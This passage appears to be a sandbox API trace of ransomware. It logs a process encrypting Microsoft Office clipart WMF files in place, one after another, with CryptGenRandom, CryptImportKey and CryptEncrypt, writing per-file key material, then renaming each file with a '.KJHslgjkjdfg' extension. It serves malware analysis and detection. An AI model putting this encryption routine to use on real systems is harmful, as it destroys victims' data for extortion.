lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.181] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.181] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.181] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.181] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1df8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1df8, lpOverlapped=0x0) returned 1 [0181.182] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1e00, dwBufLen=0x1e00 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1e00) returned 1 [0181.182] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.182] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1e00, lpOverlapped=0x0) returned 1 [0181.182] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.182] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.182] SetEndOfFile (hFile=0x114) returned 1 [0181.185] GetProcessHeap () returned 0x2a0000 [0181.185] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.185] GetProcessHeap () returned 0x2a0000 [0181.185] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.185] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240157.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240157.wmf.kjhslgjkjdfg")) returned 1 [0181.187] CloseHandle (hObject=0x114) returned 1 [0181.187] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa410, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0240175.WMF", cAlternateFileName="")) returned 1 [0181.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240175.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.188] GetProcessHeap () returned 0x2a0000 [0181.188] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.188] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.188] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.188] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.189] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.189] GetProcessHeap () returned 0x2a0000 [0181.189] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.189] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.189] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.189] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.191] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.191] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.191] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.192] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.192] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.192] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.192] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.192] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.192] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xa410, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xa410, lpOverlapped=0x0) returned 1 [0181.193] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa410, dwBufLen=0xa410 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa410) returned 1 [0181.194] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.194] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa410, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xa410, lpOverlapped=0x0) returned 1 [0181.194] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.194] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xa4e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.194] SetEndOfFile (hFile=0x114) returned 1 [0181.197] GetProcessHeap () returned 0x2a0000 [0181.197] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.197] GetProcessHeap () returned 0x2a0000 [0181.197] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.197] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240175.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240175.wmf.kjhslgjkjdfg")) returned 1 [0181.199] CloseHandle (hObject=0x114) returned 1 [0181.199] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xdc4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0240189.WMF", cAlternateFileName="")) returned 1 [0181.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240189.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.200] GetProcessHeap () returned 0x2a0000 [0181.200] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.200] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.201] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.201] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0181.203] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.203] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.203] GetProcessHeap () returned 0x2a0000 [0181.203] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.203] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.203] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.203] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.203] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.204] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.204] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.204] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.204] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.204] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.204] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.204] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.204] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xdc4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xdc4, lpOverlapped=0x0) returned 1 [0181.204] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xdd0, dwBufLen=0xdd0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xdd0) returned 1 [0181.204] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.204] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xdd0, lpOverlapped=0x0) returned 1 [0181.205] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.205] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xea4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.205] SetEndOfFile (hFile=0x114) returned 1 [0181.208] GetProcessHeap () returned 0x2a0000 [0181.208] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.208] GetProcessHeap () returned 0x2a0000 [0181.208] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.208] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240189.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240189.wmf.kjhslgjkjdfg")) returned 1 [0181.209] CloseHandle (hObject=0x114) returned 1 [0181.209] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1476, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0240291.WMF", cAlternateFileName="")) returned 1 [0181.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240291.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.211] GetProcessHeap () returned 0x2a0000 [0181.211] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.211] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.211] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.211] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0181.214] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.214] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.214] GetProcessHeap () returned 0x2a0000 [0181.214] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.214] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.214] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.214] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.214] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.214] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.214] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.214] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.215] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.215] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.215] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.215] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.215] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1476, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1476, lpOverlapped=0x0) returned 1 [0181.216] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1480, dwBufLen=0x1480 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1480) returned 1 [0181.216] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.216] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1480, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1480, lpOverlapped=0x0) returned 1 [0181.216] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.216] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1554, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.216] SetEndOfFile (hFile=0x114) returned 1 [0181.219] GetProcessHeap () returned 0x2a0000 [0181.219] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.219] GetProcessHeap () returned 0x2a0000 [0181.219] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.219] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240291.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240291.wmf.kjhslgjkjdfg")) returned 1 [0181.221] CloseHandle (hObject=0x114) returned 1 [0181.221] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90da9400, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90da9400, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0x92e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0241019.WMF", cAlternateFileName="")) returned 1 [0181.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241019.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.223] GetProcessHeap () returned 0x2a0000 [0181.223] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.223] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.223] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.223] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0181.227] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.227] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.227] GetProcessHeap () returned 0x2a0000 [0181.227] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.227] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.227] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.227] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.227] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.227] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.227] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.227] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.227] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.228] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.228] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.228] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.228] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x92e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x92e, lpOverlapped=0x0) returned 1 [0181.228] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x930, dwBufLen=0x930 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x930) returned 1 [0181.228] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.228] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x930, lpOverlapped=0x0) returned 1 [0181.228] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.228] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xa04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.228] SetEndOfFile (hFile=0x114) returned 1 [0181.231] GetProcessHeap () returned 0x2a0000 [0181.231] 